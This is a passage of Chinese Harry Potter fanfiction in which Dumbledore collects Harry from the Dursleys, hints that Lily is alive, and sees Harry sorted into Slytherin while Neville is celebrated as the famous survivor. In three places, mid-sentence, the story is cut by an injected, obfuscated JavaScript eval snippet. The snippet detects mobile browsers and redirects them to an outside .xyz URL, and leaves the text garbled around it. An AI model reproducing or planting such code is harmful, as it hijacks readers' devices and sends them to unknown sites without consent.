《[HP]哈利波特被分到了斯莱特林》 1. 假如来接哈利的不是海格 哈利·波特永远会记得那颗柠檬雪宝糖的香气。夏天的清新气息顺着糖纸的空隙悄悄钻进他的鼻子,任性地扭着腰肢释放那种让人迷迷糊糊的香甜味道,放大了楼梯间里沾满潮湿的无秩序感。接着是熟悉的逼仄,熟悉的阴暗,熟悉的混乱。身上穿的衣服依然是达力·德思礼再穿不了的旧样式,上面依然能找到这位表哥六岁那年往衣服上乱涂乱抹时留下的水彩痕迹———哈利现在都还记得姨父和姨妈拼命掩饰喜悦但依旧显得得意洋洋的神情———佩妮·德思礼揣着两泡汪汪的热泪,弗农·德思礼指着他那张同他一样宽大的报纸说自己的宝贝儿子将来一定会作为艺术新星被刊登在头条上———“但凡有那么点眼光的投资商们现在就该敲响我们家的大门”。哈利对德思礼夫妇溺爱宝贝儿子的行为见怪不怪。现在占据哈利·波特脑海的是那种香香甜甜的柠檬雪宝糖———是今天下午弗农·德思礼顺手拿回女贞路4号的。 今天本应该是个寻常得不能再寻常的日子。达力·德思礼一大早上———就像他昨天还有前天一样———冲他的父母发了好大一顿脾气,因为他没在餐桌上见到他想吃的拿破仑蛋糕。佩妮姨妈眼泪汪汪地安慰他那被医生勒令减肥的儿子,经过一番鸡飞狗跳和弗农·德思礼的摔门而出后,母子俩达成协议,决定安排哈利陪着表哥执行医生安排的营养食谱。达力不怀好意地打量了一下餐桌一角豆芽菜似的表弟,锅里还没熟透的煎鸡蛋突然从厨房飞到餐厅,糊在他堆满肥肉地脸上。达力刚要迁怒哈利,却突然意识他默默喝牛奶的表弟不可能隔着空气对厨房的锅子做什么手脚,最后只能把怨气都撒在营养食谱上。 下午四点钟,弗农姨父照常骂骂咧咧拎着报纸推开女贞路4号的门,电视里还没开始播报晚间新闻,佩妮姨妈碎步走到和她自己体型极不相称的丈夫跟前,一边尖着嗓子讲起邻居家又出了些什么笑料,一边替他解开领带,脱掉外套,再翘起手指把黑色的小圆帽子放到衣架顶上。哈利正忙着对付厨房里那只跟他的头发一样不听话的铁锅,刚好听见德思礼先生大声嚷嚷: “真是莫名其妙。这莫名其妙的街上莫名其妙地站着一个莫名其妙的老头,在这样莫名其妙的天气里打扮得简直是莫名其妙,我不得已从他跟前走过,他莫名其妙地笑着硬塞给我一大把莫名其妙的柠檬雪宝糖。” 当然,弗农姨父带回来的糖果都被达力着急地全部揣进了怀里,然后他眯起跟弗农姨父一模一样的小眼睛极为警惕地在父母和表弟之间看来看去,最后万般不舍地从糖果里拨出两颗递给德思礼夫妇。双手飞快地捂上嘴的佩妮姨妈一把将她大块头的儿子搂进怀里,哈利已经可以料想姨妈会如何又哭又笑地说些“宝贝达达懂事了”之类的腻歪话。他没心思往德思礼一家即将上演的闹剧跟前凑,趁没人注意到他悄悄溜回楼梯间。在女贞路,这样窄小简陋的楼梯间有时竟比客厅更叫人有安心的感觉。 令哈利意外的是,在他的床上———假如他那张木板也能算得上床的话———竟然摆着一颗包装完好的糖果,模样和德思礼先生带回来的别无二致。哈利不敢相信德思礼先生竟然会有这样的好心,更弄不明白自回家后就没离开过客厅的德思礼先生是什么时候把糖放进的楼梯间。他躺在床上仔细回想,自己的13岁生日已经是一个月以前发生的事,就算是极具德思礼特色的生日礼物———一枚一便士硬币———也在那个早上吃早餐的时候隔着餐桌被弗农姨父抛了过来。要不是知道德思礼一家的幽默细胞几乎为零,他一定会疑心所谓的怪老头和柠檬糖———叫什么名字来着——只是德思礼先生在这平常无奇的一天开的一个小小的玩笑。他把糖收在勉强称得上枕头套子的两块布中间———那里已经收着好些哈利觉得很有意思的小玩意———比如一颗会自己移动的纽扣,一支写出的字会消失的羽毛笔。哈利把糖和纽扣、羽毛笔放在一起,进入了柠檬味的梦乡。 哈利是被突然的疼痛感闹醒的,他撩开前额的头发,摸到那块已经陪伴他13年的伤疤———德思礼一家对哈利头上那伤疤的来历绝口不提,哈利父母的去向在女贞路4号更是严禁谈论的秘密,只留给哈利关于自己身世无穷也无解的好奇。这块伤疤偶尔会有些刺痛,但痛感往往只持续两三秒钟,而且并不明显,很容易被伤疤的主人忽略。像这晚这样的情况,记忆里还是第一次出现。 达力的鼾声已在夜色里若隐若现。哈利料想德思礼一家一定都睡熟了,决定起身去客厅里给自己倒杯水。 走到客厅,周遭都很沉闷,客厅被厚重的窗帘严严实实地包裹着———不对,几缕月色不知道从什么地方钻进来,刚好照在水壶上,引得一阵很细微的反光。哈利顺着光看过去,发现大门竟然只是虚掩着,走近了,能听见隐隐约约的说话声。 哈利听见德思礼先生用他往常绝对不可能发出的愉快声音说:“啊晚上好佩妮,好久不见,很抱歉叨扰到你们一家———你是怎么认出我的?” 佩妮姨妈沉默着不说话。哈利很难想象有着这样亲切的声音的主人能拿着什么样的法子叫尖酸刻薄的佩妮姨妈夜半三更走到房子外面并且不得不用沉默来显示自己关于这场对话的态度———即使他是弗农姨父———或者扮演弗农姨父的其他人。空气里又飘浮起那股好闻的柠檬香气,催促哈利心里那根在满足好奇与保持谨慎的选项之间疯狂跳动的指针选择其中某一边。 他踮着脚走到门边,悄悄把门拉开一点点,惊奇地看见门外的德思礼先生矮小的身板正在变得高大挺拔,圆形的影子逐渐被路灯灯光拉得瘦瘦长长;他的黑色小短发正一根一根延伸,然后在空气不那么惹人注意的流动中飘起来;紫色的睡衣正在被一件颜色更深的紫色长袍替代;逐渐变得陌生的面孔上深深浅浅的蜿蜒着许多皱纹,慢慢包围了明显属于另一个人的五官;那高了许多的鼻梁在向嘴唇行进的过程里拐了一个小弯,扭曲处正正好好架起一副眼镜,半月型镜片后面的眼睛里少了布满贪婪与欲望的肮脏污渍,取而代之的是一种既不叫人恐惧却也很难使人生出冒犯心思的冷静意味;雪白的胡子在他的脸上绕着弯,又仿佛是有生命一般,互相拉扯着向地面的方向生长。一切做好以后,这位先生从袍子里掏出一个银色的像打火机一样的小玩意儿,翻动手指轻巧地按动十二次,就从不远处的路灯灯座里依着次序飘过来十二个灯球,晃悠着全部钻进这打火机里不见了。现在,女贞路几乎漆黑一片,只留了一点月光和一点从这位先生拿着的一根木头棍子顶部发出的银色亮光,刚好能照清他自己和佩妮姨妈的脸庞。 哈利知道自己不应该惊呼出声———13年间因为管不住情绪发出的惊叫已经为他惹够了麻烦———最近一次是三年前在动物园,面对一条会说话的蛇,他一不小心惊呼出声,等周边不怀好意的人问清楚了他惊呼的缘由,人群便爆发出一阵嘲讽味道十足的大笑,引来不喜欢听这些怪事的弗农姨父冲他发了一大通脾气———同时他心里又隐隐约约觉得现在眼前发生的一切没什么需要人摆出一副大吃一惊的表情的,仿佛事物本身就具备这些特质,灯光本来就可以一起消失,外型本来就可以自如变化,一切只是偷偷藏起了它们最原本的模样———但他不知道应该有什么样的反应,也不知道脚步应该往哪里挪动才好,索性继续站在那里,听那位先生保持着松快的语气继续说:“啊啊瞧我给忘了,麻瓜可不知道这可爱的小糖果叫什么好听的名字。你得原谅我佩妮,像我这样上了年纪的老家伙,忘记些无关紧要的小东西是可以理解的,对吧?啊啊,一晃眼这都多少年过去啦,佩妮———请允许我这样叫你———印象里你还是那个偷偷给我写信的小姑娘。想想也真是有趣,我们两个那么早就通过信,在那个时候谁能想到你我会蔓延出这样奇妙——就像莉莉会和你们邻居家西弗勒斯之间产生的羁绊一样奇妙———的联系呢?对不对?”他友好地眨眨眼睛。 佩妮姨妈的脸已经涨成了一只番茄。 “你一定很好奇我为什么来对不对?心里可能还有些打鼓,担心我是来看望哈利这些年过得怎么样的对不对?”他愉快地轻笑着继续寻找话题,就像博学的老师给年轻的学生讲课那样。 “别担心亲爱的佩妮,我可没有欺负年轻人的习惯,没有人愿意为已经过去的事凭空造些麻烦出来。再说,本来不应该我来的,只是我的同事在来的路上遇到了一点点小麻烦,使得我不得不从那张已经密密麻麻排满事务的日程表上抽出这么恰到好处的一小段空余时间赶到这里来。我很高兴,我没在这过程里浪费太多功夫,哈利眼下刚好能赶上火车。哦天哪,还有件重要的事叫我给忘了。德思礼先生正在办公室睡觉呢———而且应该做了个好梦———那张堆满了报纸的红木桌子可比楼梯间睡着叫人安心。” 佩妮姨妈那张尖刻得连路过的猫都能骂上两句的嘴此刻愣是一个字也吐不出来,惹得哈利心里一阵快意,这种快意在与那种充满不确定的紧张感交锋的过程里中占了上风,叫哈利没留闲暇的心思去琢磨这位浑身透着古怪的先生某些奇怪的用词。 那人嘴角淡淡地勾起弧度:“人老了,不相干的话也变多了。德思礼夫人,耽误你这么多时间听我唠叨真是不好意思。我们应该来干点正事了。那么,哈利———” 他的语气突然一转,清澈的目光隔着半月牙型的眼镜向哈利的方向投射过来。哈利先是微微吓了一跳,然后很快意识到在这样的人物面前没有什么继续藏着的必要,于是带着些怯生生走到被暴露在月光里的地方,有些懵然地看着眼前的高大男人。 男人很快笑了———就像一位真正的和蔼的老人那样———哈利才意识到这位先生已经上了年纪。他向哈利的方向走了几步,半蹲下身子,努力使自己和他齐平视线,然后伸出手: “你好哈利,请原谅我刚刚的一点恶趣味。我是阿不思·邓布利多。我来接你开启一段新的生活。” “邓布利多,你给我闭嘴!” 爆发出这话的是佩妮姨妈,她退后一步抓住门板,好像这样能给她找回点勇气。番茄一样的红色已经从她脸上褪去了,取而代之的是一种裸露着怯意的浅白色。但她说出的话依然是强硬而不容人置疑。 “邓布利多先生,我不管你们那个世界的人有什么样的能耐。收养哈利的时候我就想好了,我决不允许哈利跟着你们这些自以为是的人卷进那个莫名其妙的世界!你不能带哈利走!” 邓布利多似乎叹了口气,他的眼睛还看着哈利,话却是对着佩妮姨妈说的,用的是一种稍稍带了些不耐烦的口吻: “冷静点佩妮。你明白,那些事只靠躲是躲不开的———不管哈利是选择进入他本该进入的世界,还是留在小小的楼梯间里苟且着当一个麻瓜———况且,哈利是属于巫师的世界的,莉莉不会希望他逃一辈子。” “还没有跟你说,哈利,你是莉莉的孩子,是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193125|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名巫师。你的父母,是魔法世界最伟大的巫师之二。”邓布利多捡起和哈利之间被打断的对话,语气变轻柔了许多,连眼睛里都闪着名为怀念的光。他伸出手,似乎想摸一摸哈利的脑袋,但很快又缩回去——— 因为佩妮姨妈猛然从门前的台阶上跳起来冲到他和哈利之间,声嘶力竭地吼到: “别跟我提莉莉。苟且?逃一辈子?活着便是好的。巫师,什么巫师,家里的人都被这两个字迷惑得合不拢嘴,只有我算是看清楚了,莉莉是,那个西弗勒斯家的男孩也是,还有后来那个什么詹姆·波特也是,你们这些人都是怪物。你们这个世界里通通都关着些怪物,划定个什么魔法世界把你们隔离开来是为了保护我们,怕你们这些怪物闯出来伤了不相干的正常人!你听好了邓布利多,不管你在你们那儿有多么不得了,你也是个怪物中的怪物,我决不允许我们家再出一个怪物!” “巫师?什么巫师?姨妈你从来没跟我提起过。” “跟你提起?叫你也跟莉莉一样,不管不顾一定要去当个怪物?哈利·波特,你给我听好了,如果你还念那一点可怜的亲缘,还想在这女贞路住着,你就给我回到你的小破楼梯间里,今晚上的一切就当没发生过。听到没?没有可是,没有为什么,马上回去,停止问问题!不许问问题!马上回去!立刻!马上!” 哈利没有动。佩妮姨妈喘着粗气。睁大了眼睛瞪着他。哈利本应该怕极了这样怒气喷薄的佩妮姨妈———假如他没有看见她发抖的双腿的话。 两人就这样僵持着———邓布利多没加入这段僵持,他正仰着头,似乎突然对不远处的某一片云朵突然产生了兴趣。 “好。”哈利听见了佩妮姨妈一声很沉很重的叹息。她的身子突然佝偻了,然后慢慢转身,打开本就没有关严实的门,用一种极为缓慢的速度走进房里。一向体面的头发在争执里弄得散开了,她也没心思去处理,只是战栗着身子在玄关处站了很久———仿佛在等待什么———却最后还是挣扎着回过身来,伸手去够那不费力就能碰到的门把手。 邓布利多终于停止了他对那朵云的研究,平静地对着没有关严实的大门说: “佩妮。” 门里没有传出回答,但能明显地听见没有节奏的抽泣声。 “我会保护好他的。” 佩妮姨妈依然没有答话。这个夜晚她流露出极为罕见的沉默,让习惯了她不知疲倦的冷嘲热讽的哈利感到极为陌生。 “就像保护莉莉那样。” 邓布利多接下来的话让这种陌生感变得更加坚硬,就好像那颗柠檬糖剥离了充满轻松气息的香甜,被露出真实的质地。 “佩妮,你还会见到他的,明年暑假的时候,他会回到这里的。” “谁稀罕!”从女贞路4号里再次传出爆鸣般的尖叫。饶是达力,也被这叫声震得从屋里慌慌张张跑出来,然后在佩妮的怒吼里又连滚带爬回到房间里。” “莉莉还活着,这已经能说明很多问题了,不是吗?”邓布利多意味深长地看了门缝一眼。门缝那头的抽泣声突然消失了,就像有些别的什么情绪突然控制住了佩妮姨妈,使她极为快速地从原先的抽泣里抽身而出。今夜各种人的各种心思都躲进浓郁的柠檬香里,分不清是酸是甜,直到舌头无数次试探以后,才终于一块儿融化在口腔里,然后再混着些别的什么被吞进肚子。 ———当然,也不是所有人都吃了柠檬糖: “邓布利多———我是说,邓布利多先生,我的妈妈还活着?她在哪?你是说,我还能见到我的妈妈吗?” 邓布利多没再管门背后的动静,而是转过身来看着努力使自己的声音听起来不那么颤抖的哈利,他的语气又轻快起来: “还记得佩妮是怎么发现我是冒牌的弗农德思礼吗?” 哈利点头,他急切地想要让谈话回到和莉莉有关的话题,却被邓布利多毫不犹豫地打断了: “别这样慌着问莉莉的事———孩子,有些东西只能靠等待。等时机成熟了,你会弄明白你想知道的一切。梅林的胡子啊,跟我走吧。她同意把你交给我了。接下来你得跟着我,去新学校,认识新的朋友,成为一个新世界里崭新的一分子———直到暑假来临。我不得不跟你分享我很高明的地方:我刻意想办法支走了弗农·德思礼,恰到好处地避免了应付一个一无所知的麻瓜的麻烦。别丧着脸,快进去收拾你重要的物品,我在这里等你十分钟,然后我们就出发———出发去古灵阁和对角巷,我们得先替你取出一点钱,然后再替你买上一些你很快会用到的物品———别担心,莉莉和詹姆在古灵阁替你存了一小笔财富,只要你不随便挥霍,足够你过得很滋润了———我知道你有很多疑问,以后我会慢慢解释给你听的———但不是现在———我们很赶时间,一会儿在路上我将不得不费一点口舌,把那些你应该知道的尽可能清楚地告诉你,比如霍格沃茨是一所什么学校———说到这个,我们今晚上不得不借用一下麻瓜的交通工具———好了孩子,别磨磨蹭蹭的,快些行动起来!———啊,你还留着这颗柠檬雪宝糖,这是我最喜欢的口味,我强烈地推荐你一定要尝尝它———趁着你还有一口好牙齿……” 就这样,哈利·波特十三岁生日过去一个月后,他终于在校长阿不思·邓布利多的陪伴下,带着霍格沃茨的录取通知书,于霍格沃茨特快出发当天,进入了魔法世界。 2. 假如罗恩没有坐在哈利的车厢。 直到登上那列很有活力地喷着热气的红色特快,听见外套里硬币碰撞发出的清脆响声,哈利才渐渐从那种懵懵懂懂的晕眩里醒过神来,意识到或许发生的一切并不是他在女贞路4号做的一个梦。 收拾好楼梯间里那些不值钱的小玩意儿后,哈利花了一个小时,和邓布利多一起从女贞路4号来到古灵阁的大门口;又花了二十五分钟,发现自己实际上拥有一笔压根花不完的财富;再花了三十分钟,像泥鳅一样从对角巷五花八门的店铺里穿进穿出,等领路的邓布利多终于停下脚步的时候,哈利手里已经抱着一大堆课本坩埚之类的物品,臂弯处还有一只装着猫头鹰的笼子。 “好了哈利,”邓布利多愉快的说,“告别的时刻到来了。但我们很快会再见面的,我保证。” 哈利茫然地点点头,看着眼前这位胡子又长又卷的老人冲他飞快地眨眨眼睛,然后一下子不见了。披着袍子带着帽子的男男女女不知道从什么角落钻了出来,吵着闹着塞满了巷子口。一位友好的小个子巫师从人群中挤出来并拍拍哈利的肩膀: “嘿,我捡到了你的一枚金加隆。” “话说回来,亲爱的孩子,你怎么一个人在这里?今天可是8月31日,你现在应该高高兴兴地出现在九又四分之三站台,而不是像这些无聊的大人一样瞎晃。” 哈利点点头,抓起大包小包就往外走。小个子巫师又快步赶上来: “说起来,你们真是好福气!纳威·隆巴顿也在你们这一届吧?真是了不得———能从神秘人手下逃脱———哪个成年巫师能赶得上他。” 小个子巫师拍了拍哈利的肩膀,没给哈利时间询问谁是神秘人,飞快融进街上的人群里了。 哈利从破斧酒吧挤出来,回到大街上,费力地挤进早晨繁忙的地铁,在麻瓜的打量里来到火车站,他心里盘算着那些不怀好意的的目光和弗农姨父的眼神有几分相似,一不留神撞到了一个从他跟前过的人。 准确的说,是一家三口,而且都是巫师。走在中间的小孩和他爸爸一样,都长着一头漂亮的浅金色头发。 哈利不费一点功夫就能从火车站那么多行色匆匆的面孔里挑拣出麻瓜和巫师,因为巫师总是试图通过穿着伪装麻瓜———却又往往用力过猛,比如被哈利撞到的男人,就在天气还未变得凉爽的八月,硬穿上了呢子大衣,还搭配了一根银质手杖。 哈利很快向对方说了抱歉,谁料这一家竟像是压根没注意到他一样,昂着尖下巴神色傲慢地继续往前走去了。哈利被逗乐了,索性跟在他们后面,推着小推车穿过九号站台与十号站台之间那堵墙———这是邓布利多告诉他的,来到了红色的特快列车面前。 金色头发的男孩很快和他的朋友汇合了,三个人进了同一包厢。门关上之前,哈利听见他们管那男孩叫德拉克少爷。 哈利在另一车厢里找了空位。对一切的新鲜感在今天早晨曾一度掩盖住了彻夜未眠的疲惫,这种对陌生的一切都感到兴奋的心情直到这时才悄悄从哈利身上撤走。等火车发动的时候,困意找上了哈利,他靠着车窗,慢慢等自己进入梦乡。进入混沌之前,他看见站台上有一个小女孩在追着列车奔跑,也看见小女孩的妈妈笑得是那样和蔼,好脾气地跟在这红头发的小女孩身后。 哈利醒来时,夜色已经黑了。身边坐着的其他同学已经换好了衣服,哈利慌忙学着他们的样子脱去外衣,把新买的黑长套在身上。 “再过五分钟列车就要到达霍格沃茨了,请将你们的行李留在车上,我们会替你们送到学校去的。” 哈利紧张得胃里的东西直往上翻。又过了几分钟,火车放慢了速度,最后停在一个又黑又小的站台前。哈利跟着黑压压的人群往前走,身边的同学都在兴奋地聊着天,各个学院的级长们半真半假地维持着队伍的秩序,但大家依然是吵吵嚷嚷的:高年级的孩子在威胁家里来的弟弟妹妹不准被分去斯莱特林,巫师家庭出身的孩子在兴奋地跟麻瓜家庭出身的孩子讲四大学院的故事———当然,也有来自麻瓜家庭的孩子反过来给来自巫师家庭的孩子讲霍格沃茨校史的。 哈利没有加入任何人的讨论———尽管他从邓布利多那里听了一两件跟这所学校相关的事。迷茫和彷徨像潮水退去后裸露的礁石,沉甸甸地压在这个刚得知自己是一名巫师就孤身一身来到全是巫师的世界的孩子心头。他把他的手伸进袍子的口袋里,以保证指尖能触碰到那根冬青木做的魔杖———这时候他不得不庆幸,离开包厢前,就把魔杖从箱子最外层掏出来带在身上———仿佛这样能让他多点安全感。 一盏灯在他眼前晃动着,让哈利不由得眯起眼睛。万人攒动的一片汪洋之上,一位蓄着胡子的巨人带着笑容高声喊道: “一年级新生!一年级新生到这边来!你们好吗?当心你们的脚底,好了!一年级新生跟我来!” 他们走的小路又长又黑,哈利看见走在一旁红头发男孩抱着两条胳膊,打了一个哆嗦;周遭的同学似乎或多或少都为一点寒气所扰。但哈利没有。他一点也不觉得冷,一种莫名的温暖一直像想象中妈妈的怀抱一样紧紧裹着他。哈利抬头看向队伍的最前端,在黑暗中只能看得见那巨人高举的照明灯。灯光照亮的范围很有限,因为有一团一团的白雾阻挡着光线试探更远的地方。 “拐过这个弯,你们马上就要第一次看到霍格沃茨了。”巨人回头。 回答他的是一阵嘹亮的“哦”。 狭窄的小路终点展开一个黑色的湖泊。队伍停了下来,学生们站在湖水前,和静静泊在岸边的一队小船面对面。在巨人的指挥里,他们一个接一个上了船,由着小船搭着他们随着水波的晃荡而轻轻晃荡。等到最后一位上船的学生也安然坐稳,巨人就掏出一把和他本人形象完全不符的粉红色雨伞,敲敲自己那艘船的两边,带着湖面上所有小船一起往对岸驶去。 对岸是一座巨大的城堡,雄伟庄严。星光与城堡发出的亮光洒在湖面里,使得那一条条小船仿佛是自如地穿梭在闪闪的金色里。在无边的沉默的雀跃里,他们驶向峭壁,穿越覆盖着山崖正面的常春藤帐幔,来到隐秘的开阔入口;漆黑一片里湖水送他们渡过最后的隧道,来到霍格沃茨城堡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193126|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面的码头。 船缓缓停住了。巨人率先站起身,用他那洪钟般浑厚的声音宣布: “我们到了,霍格沃茨。所有新生,请跟我来这边———” 大家攀上一条隧道,穿过一片草坪,再攀上一段石阶,最后聚在一扇巨大的橡木门前。海格举起他的拳头,往城堡大门上敲了三次。 大门洞开。已经有一位女巫师在那里等着。她带着深绿色的帽子,穿着翡翠色的袍子,优雅地冲巨人点头致意,然后严肃而不失亲切地对新生队伍说: “欢迎大家来到霍格沃茨!我是麦格教授。”她扬了扬手里的羊皮纸,“稍后你们将同我一起到大厅另一头的空屋里候着,念到名字的同学,就进入大厅带上分院帽。” 说完,麦格教授极为迅速地扫了一眼手里的羊皮纸,在看到其中一个名字的时候,她极为明显地卡顿了一下,然后飞快地抬头看了一眼队伍,犹豫了一两秒钟,什么也没多说,转身领着队伍走进学校的大门。 “嘿,纳威,我敢打赌,刚刚麦格教授看到的就是你的名字。”名叫西莫的男孩捅捅同伴的胳膊。西莫并没有刻意压低音量,身边的同学都听见了他的这番话,也都听到了这番话里那个名字。人群开始骚动,有不少人在伸着脖子踮着脚尖往前望。哈利马上想起了早晨遇见的那个小个子巫师和那个还没被问出的问题。 “话说,神秘人是谁?”哈利问有过一面之缘的金发男孩。 德拉科似乎没听见。哈利再问了一遍,却听见德拉科那两个跟班发出一阵嗤笑,冲他蹦出些什么“泥巴种”的字眼。 哈利一时没有听懂,但他很快明白过来“泥巴种”并不是什么好词,因为周边的人很快怒了———几个从巫师家庭来的孩子七嘴八舌地谴责起德拉科的跟班,其中一个红头发男孩情绪格外激动,大有要和他们一决雌雄的架势。 “泥巴种是对父母都是麻瓜的巫师最具侮辱性的词。虽然这样,但我并不觉得这样的出身有什么问题。”跟哈利站在同一排的女孩好心替哈利解释。恰巧吵架吵累了的红头发男孩听见了这话,飞快跟着接了一句: “你怎么知道这些,格兰杰小姐?我记得你在车上说过,你的父母都不是巫师。” 女孩甩甩头发:“韦斯莱先生,如果我是你,我会多读点霍格沃茨推荐书目上的书。这样你就会发现,关于这个词,在《魔法史》的237页有写道。” 韦斯莱愤愤不平。 “好了,所有人安静些,分院仪式马上开始了。”麦格教授出声结束了闹剧。 “我建议你们在等候时,好好把自己整理一番,精神一些。” 队伍里多了些紧张的情绪,许多人都在为即将到来的人惶恐不安。赫敏·格兰杰压小了音量念念有词,飞快地背诵着从书上预习过的咒语;纳威·隆巴顿紧张地安抚着待在他肩上的蟾蜍,生怕一个不注意它又悄悄逃走;哈利听见罗恩·韦斯莱小声念叨着: “千万不要去斯莱特林!” 许多人都在念叨: “千万不要去斯莱特林!” 3. 假如哈利被分到了斯莱特林 “现在朝前动动,分院仪式马上就要开始了。” 麦格教授回来了:“现在,排成单行跟我走。”一年级新生在麦格教授的带领里走出房间,穿过门厅,再经过一道双扇门进入了豪华的礼堂。 高年级的同学都已经按学院坐好,四张长桌上放着熠熠闪光的金盘和高脚杯,几千只蜡烛漂浮在他们的头顶上,把礼堂照得敞亮;天鹅绒一样的天花板上被施了魔法,空旷的漆黑里点缀着朦胧星光,就和外面的天空一样。随着哈利他们的进入,一股浓郁的白雾也跟着溜进了礼堂,逗留在各个桌子旁。只是似乎没人在意这不请自来的白雾———所有人的目光都忙着看向礼堂中央。 在礼堂的中间放着一顶又旧又破的帽子,上面咧着一个口子,熟悉流程的人管它叫分院帽。哈利没留意分院帽在仪式开始时唱了一首什么歌,因为他的脑海里正因为紧张不可避免地被塞满了各种滑稽的念头。他一遍一遍跟自己说:只要不被赶回女贞路,怎么都行。 “赫敏·格兰杰。” “格兰芬多!” 女孩飞快地放下帽子,在布满红色装饰物的那一桌爆发出的欢呼声中,晃动着一头狮子鬃毛似的头发跑到那些未来的伙伴身边。 “罗恩·韦斯莱。” “格兰芬多!” 两个长得几乎一模一样的二年级学生高兴地从桌子上站起来冲罗恩挥手,格兰芬多的级长大声冲身边鼓掌的朋友说: “那是我弟弟!” “卢娜·洛夫古德。” “拉文克劳!” 拿着一本《唱唱反调》的女孩加入了蓝色的欢呼队伍。 “汉娜·艾博。” “赫奇帕奇。” 黄色桌子旁围坐的人起身迎接她。 “贾斯汀·芬列里。” “赫奇帕奇。” “艾莉娅·斯平内特。” “格兰芬多。” “西莫·斐尼甘。” “格兰芬多。” “帕德玛·佩蒂尔。” “拉文克劳。” “德拉科·马尔福。” “斯莱特林。” “纳威·隆巴顿。” 礼堂突然安静了。一两秒钟过后,隐约可以听见一些昆虫嘶语一样的嗡嗡声: “隆巴顿,她是在叫隆巴顿吗?” “是那个纳威·隆巴顿吗?” 餐厅里到处是引颈而望的好奇者之流。马尔福匆匆忙忙找到他的跟班在绿色桌子旁给他留的位置坐下,其他人则几乎同时看向了那个从入口走进来、肩膀上蹲着一只蟾蜍的男孩。格兰芬多桌边的韦斯莱双子———乔治和弗雷德———甚至从长袍口袋里掏出了一个类似麻瓜们常用的望远镜样式的东西。罗恩看见了,扯扯他的哥哥们的衣袖: “天哪,要是让亲爱的妈妈看见了,她会怎么说呢?” “得了罗恩小鬼头,一会儿我一定要用水果馅饼塞满你的嘴。” 分院帽在决定纳威去向这件事上花了比做出其他决定稍稍多一点的时间,最后才在几千双眼睛的注视下大声喊出: “格兰芬多!” 格兰芬多爆发出比之前更为响亮的尖叫。所有人都站起来欢呼着迎接那个面露羞涩的男孩。双子一把丢开他们的小破望远镜:“我们有纳威!我们有纳威!”甚至连拉文克劳和赫奇帕奇的学生也在跟着鼓掌。阴沉着脸的只有被绿色装饰着的斯莱特林———以及教师席上笔直地坐着的那个像一只巨大蝙蝠的院长。 哈利被叫到名字,快步走向礼堂中央的时候,看见了教师席上面色各异的几位巫师。他依循着记忆里邓布利多的描述,很快分辨出四个学院的院长:阴沉沉的魔药课教师、斯莱特林院长西弗勒斯·斯内普教授,小个子的魔咒课教师、拉文克劳院长菲力乌斯·弗立维教授,胖墩墩的草药课教师、赫奇帕奇院长波莫娜·斯普劳特教授,以及刚刚带他们进到礼堂的副院长,也就是变形课教师、格兰芬多院长米勒娃·麦格教授。邓布利多坐在他们中间,两双手手指交搭在一起,饶有兴趣地看着一年级新生一个接一个去到对应的学院。 哈利·波特拿起分院帽,几乎就在帽檐碰到他的一瞬间,分院帽大声叫起来: “斯莱特林。” 没太多人在意这个瘦瘦弱弱的男孩,人们还沉浸在见到纳威·隆巴顿的喜悦当中,只有尖下巴的德拉科·马尔福嘟囔了一句:“泥巴种怎么能进高贵的斯莱特林。” “谁知道!梅林的胡子,他过来了。可怜的波特先生,不知道你动了什么小手脚进入到我们的学院——是不是借助了那个可笑的麻瓜保护人的一点点帮助————总之,希望你的血统不要玷污了高贵的斯莱特林旗帜。要是泥巴种也可以进入老邓布利多袖子下的最后一片净土斯莱特林,或许我们就得拜托德拉科的爸爸在校董会上做一些必要的发言。”一个明显是高年级学生的巫师颇有兴趣地把哈利扯进他和马尔福的闲谈。 “我不清楚这中间有没有什么问题。我只知道我的父母是巫师。” “巫师?那你怎么可能不知道神秘人?每一个巫师家庭的孩子都是听着大名鼎鼎的纳威·隆巴顿先生———呐,你刚也看到了———大战神秘人的故事长大的。你说对吧,克拉布?” 名叫克拉布的男孩凑过来点点头。 但不知道是不是邓布利多给忘记了,哈利并没有听他提起过任何跟纳威或者神秘人相关的事。他本想请马尔福再多讲一些,却看见那男孩骄傲地扬起下巴: “要我说,波特,知不知道纳威没什么大不了的———他那点可怜的事迹,换作是我我我也一样能做到。只要你不是泥巴种就行,这多多少少给我们这些高贵的后裔们一点微不足道的安慰。瞧瞧隔壁这几桌这些乡巴佬没见过世面的样子———莽撞的狮子,跟老好人一样的獾,敏感又脆弱的鹰。很快他们就会知道,在高贵的纯血统巫师面前,纳威·隆巴顿不值一提。” 哈利还没问出让自己好奇了好久的那个问题的答案,分院仪式就结束了,分院帽被撤下去,邓布利多站起来,他擦了擦眼睛,笑容满面地看着学生们,浑身都在诉说着一种与怀念相似的情绪。他用魔杖指着自己的喉咙:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 